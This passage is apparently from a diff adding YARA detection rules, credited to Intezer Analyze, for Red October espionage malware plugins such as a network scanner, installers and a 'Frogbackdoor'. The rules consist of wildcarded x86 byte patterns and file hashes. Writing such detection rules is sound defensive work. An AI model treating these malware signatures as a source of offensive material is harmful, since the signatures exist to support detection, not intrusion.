?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 33 ?? 66 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? 0F B7 ?? ?? ?? ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? 8D ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 03 ?? ?? 89 ?? ?? 8B ?? ?? 35 ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? 89 ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 5? 6A ?? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 69 ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 81 E? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? EB }
+
+	condition:
+		hash.sha256(0, filesize) == "85ec69f1a08b30db4d30202d3a584bd33ea412ba46336b1b51fae7260e29f844" or
+		10 of them
+}
+
+rule RedOctoberPluginNetScan {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 0F B6 ?? ?? 0F BE ?? ?? ?? ?? ?? 5? 0F B6 ?? 0F BE ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 5? FF D? 83 }
+		$block_1 = { 8B ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 83 ?? ?? 3B ?? 0F 87 }
+		$block_2 = { 8B ?? ?? 83 ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 5? 8B ?? ?? 83 ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 75 }
+		$block_3 = { 5? 8B ?? 83 ?? ?? 89 ?? ?? 0F B7 ?? ?? 89 ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 87 }
+		$block_4 = { 83 ?? ?? 33 ?? 6A ?? 5? 8B ?? F7 ?? 0F 90 ?? F7 ?? 0B ?? 5? E8 ?? ?? ?? ?? 8B ?? 5? 85 ?? 74 }
+		$block_5 = { 8D ?? ?? 5? 8D ?? ?? 5? 68 ?? ?? ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 0F B6 ?? 85 ?? 74 }
+		$block_6 = { 68 ?? ?? ?? ?? 8B ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 0F B6 ?? 85 ?? 74 }
+		$block_7 = { C6 ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_8 = { 8B ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 83 ?? ?? ?? 0F 86 }
+		$block_9 = { 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? 3B ?? ?? ?? ?? ?? 0F 8F }
+		$block_10 = { 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? 3B ?? ?? ?? ?? ?? 0F 8C }
+		$block_11 = { 68 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 81 C? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_12 = { 0F B7 ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_13 = { 8B ?? ?? 0F B7 ?? ?? 5? 8B ?? ?? 0F B7 ?? 5? 8B ?? ?? 5? 8B ?? ?? E8 ?? ?? ?? ?? EB }
+		$block_14 = { 8B ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 0F B7 ?? 83 ?? ?? 0F 85 }
+		$block_15 = { 6A ?? 8D ?? ?? 5? 8D ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 0F B6 ?? ?? 3D ?? ?? ?? ?? 74 }
+		$block_16 = { 68 ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_17 = { E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 89 ?? ?? E8 ?? ?? ?? ?? 25 ?? ?? ?? ?? 79 }
+		$block_18 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_19 = { 8B ?? ?? 89 ?? ?? 8B ?? ?? 8B ?? 89 ?? ?? 8B ?? ?? 33 ?? 83 ?? ?? ?? 0F 94 ?? 88 }
+		$block_20 = { 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_21 = { 8B ?? ?? ?? ?? ?? 8A ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_22 = { 8B ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_23 = { 0F B7 ?? ?? 8B ?? ?? 8B ?? ?? ?? ?? ?? 0F BE ?? ?? 0F BE ?? ?? ?? ?? ?? 3B ?? 75 }
+		$block_24 = { 8B ?? ?? ?? ?? ?? 5? 5? 8A ?? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_25 = { 8B ?? ?? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 3D ?? ?? ?? ?? 0F 86 }
+		$block_26 = { 8B ?? ?? 89 ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 0F B7 ?? 83 ?? ?? 74 }
+		$block_27 = { 0F B7 ?? ?? 8B ?? ?? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 3B ?? 73 }
+		$block_28 = { 8B ?? ?? 0F B7 ?? ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? ?? ?? ?? 83 ?? ?? 3B ?? 73 }
+		$block_29 = { 8B ?? ?? ?? ?? ?? 0F B7 ?? 5? FF 1? ?? ?? ?? ?? 0F B7 ?? 83 ?? ?? 0F 85 }
+		$block_30 = { 5? 8B ?? 83 ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? 5? 5? 83 ?? ?? ?? 0F 84 }
+		$block_31 = { 8B ?? ?? ?? ?? ?? 0F B7 ?? 5? FF 1? ?? ?? ?? ?? 0F B7 ?? 83 ?? ?? 0F 84 }
+		$block_32 = { 8B ?? ?? ?? ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_33 = { 8B ?? ?? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? 0F 86 }
+		$block_34 = { 8B ?? ?? ?? ?? ?? 0F B7 ?? 5? FF 1? ?? ?? ?? ?? 0F B7 ?? 83 ?? ?? 75 }
+		$block_35 = { A1 ?? ?? ?? ?? 0F B7 ?? 5? FF 1? ?? ?? ?? ?? 0F B7 ?? 83 ?? ?? 0F 85 }
+		$block_36 = { 5? 8B ?? 5? 5? 33 ?? 5? 8B ?? ?? C7 ?? ?? ?? ?? ?? ?? 39 ?? ?? 0F 84 }
+		$block_37 = { 8B ?? ?? 8B ?? ?? ?? ?? ?? 0F BE ?? 0F BE ?? ?? ?? ?? ?? 3B ?? 75 }
+		$block_38 = { FF 1? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? 85 ?? 74 }
+		$block_39 = { A1 ?? ?? ?? ?? 0F B7 ?? 5? FF 1? ?? ?? ?? ?? 0F B7 ?? 83 ?? ?? 75 }
+		$block_40 = { 8D ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 85 }
+		$block_41 = { 68 ?? ?? ?? ?? 8D ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_42 = { 5? 8B ?? 83 ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_43 = { E8 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? 8B ?? ?? 0F BE ?? 85 ?? 0F 84 }
+		$block_44 = { 68 ?? ?? ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_45 = { 8B ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 85 }
+		$block_46 = { 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_47 = { 8B ?? ?? 0F B7 ?? ?? ?? ?? ?? 8B ?? ?? 3B ?? ?? ?? ?? ?? 73 }
+		$block_48 = { 8B ?? ?? 5? 8B ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_49 = { 8B ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 81 F? ?? ?? ?? ?? 0F 82 }
+		$block_50 = { 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 39 ?? ?? ?? ?? ?? 0F 83 }
+		$block_51 = { 5? 8B ?? 83 ?? ?? 89 ?? ?? C6 ?? ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_52 = { 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_53 = { 8B ?? ?? 5? FF 1? ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_54 = { 0F B7 ?? ?? 5? 8B ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 74 }
+		$block_55 = { 8D ?? ?? E8 ?? ?? ?? ?? 0F BF ?? 0F BF ?? ?? 3B ?? 75 }
+		$block_56 = { 8B ?? ?? 89 ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_57 = { 8B ?? ?? ?? ?? ?? 81 B? ?? ?? ?? ?? ?? ?? ?? ?? 0F 8E }
+		$block_58 = { 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 0F 85 }
+		$block_59 = { 8B ?? ?? ?? ?? ?? 0F B6 ?? ?? 81 F? ?? ?? ?? ?? 0F 8D }
+		$block_60 = { 8B ?? ?? 83 ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? ?? 85 ?? 74 }
+		$block_61 = { 8B ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C9 C2 }
+		$block_62 = { 8B ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 85 }
+		$block_63 = { 8B ?? ?? 5? 5? 8B ?? 33 ?? 5? E8 ?? ?? ?? ?? C9 C3 }
+		$block_64 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? 3B ?? ?? ?? ?? ?? 0F 87 }
+		$block_65 = { 8B ?? ?? 8B ?? ?? 8B ?? 3B ?? ?? ?? ?? ?? 0F 85 }
+		$block_66 = { 8B ?? ?? 8B ?? 5? 33 ?? 5? E8 ?? ?? ?? ?? C9 C3 }
+		$block_67 = { 8B ?? ?? 83 ?? ?? 33 ?? 83 ?? ?? 39 ?? ?? 0F 87 }
+		$block_68 = { 8B ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? 85 ?? 75 }
+		$block_69 = { 8B ?? ?? 5? 8A ?? 33 ?? 5? E8 ?? ?? ?? ?? C9 C3 }
+		$block_70 = { 8B ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? ?? 85 ?? 0F 84 }
+		$block_71 = { 8B ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "4240d4239a0bdc43581dc73e875b03653ad40d1380fa12e0359305b38c13b474" or
+		12 of them
+}
+
+rule RedOctoberPluginDASvcInstall {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 0F B6 ?? ?? 0F B6 ?? 8A ?? ?? 4? 88 ?? ?? 88 ?? ?? 99 F7 ?? ?? FF 4? ?? 81 7? ?? ?? ?? ?? ?? 7C }
+		$block_1 = { 68 ?? ?? ?? ?? 8B ?? ?? 69 ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_2 = { 0F B6 ?? ?? 0F BE ?? ?? ?? ?? ?? 5? 0F B6 ?? 0F BE ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 5? FF D? 83 }
+		$block_3 = { 68 ?? ?? ?? ?? 6A ?? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? 0F BE ?? 83 ?? ?? 74 }
+		$block_4 = { 8D ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 8B ?? ?? 5? FF 1? ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 85 }
+		$block_5 = { 83 ?? ?? 33 ?? 6A ?? 5? 8B ?? F7 ?? 0F 90 ?? F7 ?? 0B ?? 5? E8 ?? ?? ?? ?? 8B ?? 5? 85 ?? 74 }
+		$block_6 = { 8B ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_7 = { 5? 8B ?? 5? 5? 8B ?? ?? 8A ?? ?? ?? ?? ?? 8A ?? ?? ?? ?? ?? 5? 33 ?? 89 ?? ?? 39 ?? ?? 0F 8E }
+		$block_8 = { 8B ?? ?? 8B ?? ?? 0F B6 ?? 0F B6 ?? ?? 0F B6 ?? ?? 03 ?? 03 ?? 81 E? ?? ?? ?? ?? 79 }
+		$block_9 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_10 = { 8B ?? ?? ?? ?? ?? 8A ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_11 = { 8B ?? ?? ?? ?? ?? 5? 5? 8A ?? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_12 = { 8B ?? ?? ?? ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_13 = { 5? 8B ?? 5? 5? 33 ?? 5? 8B ?? ?? C7 ?? ?? ?? ?? ?? ?? 39 ?? ?? 0F 84 }
+		$block_14 = { 68 ?? ?? ?? ?? 8D ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_15 = { 88 ?? ?? 0F B6 ?? 8A ?? ?? 0F B6 ?? 03 ?? 81 E? ?? ?? ?? ?? 79 }
+		$block_16 = { 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_17 = { 8B ?? ?? 5? 8B ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_18 = { 5? 8B ?? 83 ?? ?? 89 ?? ?? C6 ?? ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_19 = { 0F B6 ?? 8A ?? ?? 30 ?? 8B ?? ?? 4? 89 ?? ?? 3B ?? ?? 7C }
+		$block_20 = { 5? 5? 5? 33 ?? 89 ?? ?? ?? 89 ?? ?? ?? 39 ?? ?? ?? 0F 84 }
+		$block_21 = { 5? 8B ?? ?? ?? ?? ?? 5? 5? FF 7? ?? ?? FF D? 3B ?? 0F 84 }
+		$block_22 = { 8B ?? ?? 5? 5? 8B ?? 33 ?? 5? E8 ?? ?? ?? ?? C9 C3 }
+		$block_23 = { 8B ?? ?? 8B ?? ?? 5? 33 ?? 5? E8 ?? ?? ?? ?? C9 C3 }
+		$block_24 = { 8B ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? ?? 85 ?? 0F 84 }
+		$block_25 = { 8B ?? ?? 83 ?? ?? 33 ?? 83 ?? ?? 39 ?? ?? 0F 87 }
+		$block_26 = { 8B ?? ?? 0F B6 ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 74 }
+		$block_27 = { 8B ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_28 = { 8B ?? ?? 0F B6 ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 75 }
+
+	condition:
+		hash.sha256(0, filesize) == "ae5bd9750738afef22568a3400a876e5bfefb4fe1d24e8badef97c756c9056ca" or
+		12 of them
+}
+
+rule RedOctoberPluginAdobeBDInstaller {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 0F B6 ?? ?? 0F BE ?? ?? ?? ?? ?? 5? 0F B6 ?? 0F BE ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 5? FF D? 83 }
+		$block_1 = { 83 ?? ?? 33 ?? 6A ?? 5? 8B ?? F7 ?? 0F 90 ?? F7 ?? 0B ?? 5? E8 ?? ?? ?? ?? 8B ?? 5? 85 ?? 74 }
+		$block_2 = { 8D ?? ?? ?? ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 0F B6 ?? 85 ?? 0F 84 }
+		$block_3 = { 8B ?? ?? ?? ?? ?? 8A ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_4 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_5 = { 8B ?? ?? ?? ?? ?? 5? 5? 8A ?? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_6 = { 8B ?? ?? ?? ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_7 = { 5? 8B ?? 5? 5? 33 ?? 5? 8B ?? ?? C7 ?? ?? ?? ?? ?? ?? 39 ?? ?? 0F 84 }
+		$block_8 = { 68 ?? ?? ?? ?? 8D ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_9 = { 8B ?? ?? 5? 8B ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_10 = { 5? 8B ?? 83 ?? ?? 89 ?? ?? C6 ?? ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_11 = { 5? 5? 5? 33 ?? 89 ?? ?? ?? 89 ?? ?? ?? 39 ?? ?? ?? 0F 84 }
+		$block_12 = { 5? 8B ?? ?? ?? ?? ?? 5? 5? FF 7? ?? ?? FF D? 3B ?? 0F 84 }
+		$block_13 = { 8B ?? ?? 5? 5? 8B ?? 33 ?? 5? E8 ?? ?? ?? ?? C9 C3 }
+		$block_14 = { 8B ?? ?? 83 ?? ?? 33 ?? 83 ?? ?? 39 ?? ?? 0F 87 }
+		$block_15 = { 8B ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? ?? 85 ?? 0F 84 }
+		$block_16 = { 8B ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "feb0166bf33745d7d065d4815022b5d76ff6a5b999181aa719bf5e72f8328f23" or
+		12 of them
+}
+
+rule RedOctoberPluginFrogbackdoor {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 0F B6 ?? ?? 0F B6 ?? 8A ?? ?? 4? 88 ?? ?? 88 ?? ?? 99 F7 ?? ?? FF 4? ?? 81 7? ?? ?? ?? ?? ?? 7C }
+		$block_1 = { 5? 8D ?? ?? 33 ?? 6A ?? 5? 8B ?? F7 ?? 0F 90 ?? F7 ?? 0B ?? 5? E8 ?? ?? ?? ?? 8B ?? 5? 85 ?? 74 }
+		$block_2 = { 8B ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C2 }
+		$block_3 = { 83 ?? ?? 33 ?? 6A ?? 5? 8B ?? F7 ?? 0F 90 ?? F7 ?? 0B ?? 5? E8 ?? ?? ?? ?? 8B ?? 5? 85 ?? 74 }
+		$block_4 = { 5? 8B ?? 5? 5? 8B ?? ?? 8A ?? ?? ?? ?? ?? 8A ?? ?? ?? ?? ?? 5? 33 ?? 89 ?? ?? 39 ?? ?? 0F 8E }
+		$block_5 = { 6A ?? 5? 5? 6A ?? 6A ?? 6A ?? FF 1? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_6 = { 8B ?? ?? 8B ?? ?? 0F B6 ?? 0F B6 ?? ?? 0F B6 ?? ?? 03 ?? 03 ?? 81 E? ?? ?? ?? ?? 79 }
+		$block_7 = { 8B ?? ?? ?? ?? ?? 8A ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_8 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_9 = { 5? 8B ?? 83 ?? ?? 89 ?? ?? C6 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_10 = { 8B ?? ?? ?? ?? ?? 5? 5? 8A ?? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_11 = { 8B ?? ?? ?? ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C2 }
+		$block_12 = { 8B ?? ?? ?? ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_13 = { 5? 8B ?? 5? 5? 33 ?? 5? 8B ?? ?? C7 ?? ?? ?? ?? ?? ?? 39 ?? ?? 0F 84 }
+		$block_14 = { 8B ?? ?? ?? ?? ?? 5? FF D? 4? 5? E8 ?? ?? ?? ?? 8B ?? 5? 85 ?? 0F 84 }
+		$block_15 = { 0F B7 ?? ?? 83 ?? ?? ?? 89 ?? ?? 0F B7 ?? ?? 8D ?? ?? ?? 85 ?? 7E }
+		$block_16 = { 68 ?? ?? ?? ?? 8D ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_17 = { 88 ?? ?? 0F B6 ?? 8A ?? ?? 0F B6 ?? 03 ?? 81 E? ?? ?? ?? ?? 79 }
+		$block_18 = { 5? 8D ?? ?? 5? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_19 = { 5? 5? 5? 6A ?? 6A ?? 8D ?? ?? 5? FF D? 89 ?? ?? 83 ?? ?? 0F 85 }
+		$block_20 = { 0F B6 ?? 8A ?? ?? 30 ?? 8B ?? ?? 4? 89 ?? ?? 3B ?? ?? 7C }
+		$block_21 = { 5? 5? 5? 33 ?? 89 ?? ?? ?? 89 ?? ?? ?? 39 ?? ?? ?? 0F 84 }
+		$block_22 = { 5? 8B ?? ?? ?? ?? ?? 5? 5? FF 7? ?? ?? FF D? 3B ?? 0F 84 }
+		$block_23 = { 8D ?? ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_24 = { 8B ?? ?? 8A ?? ?? 5? 33 ?? 5? E8 ?? ?? ?? ?? C9 C3 }
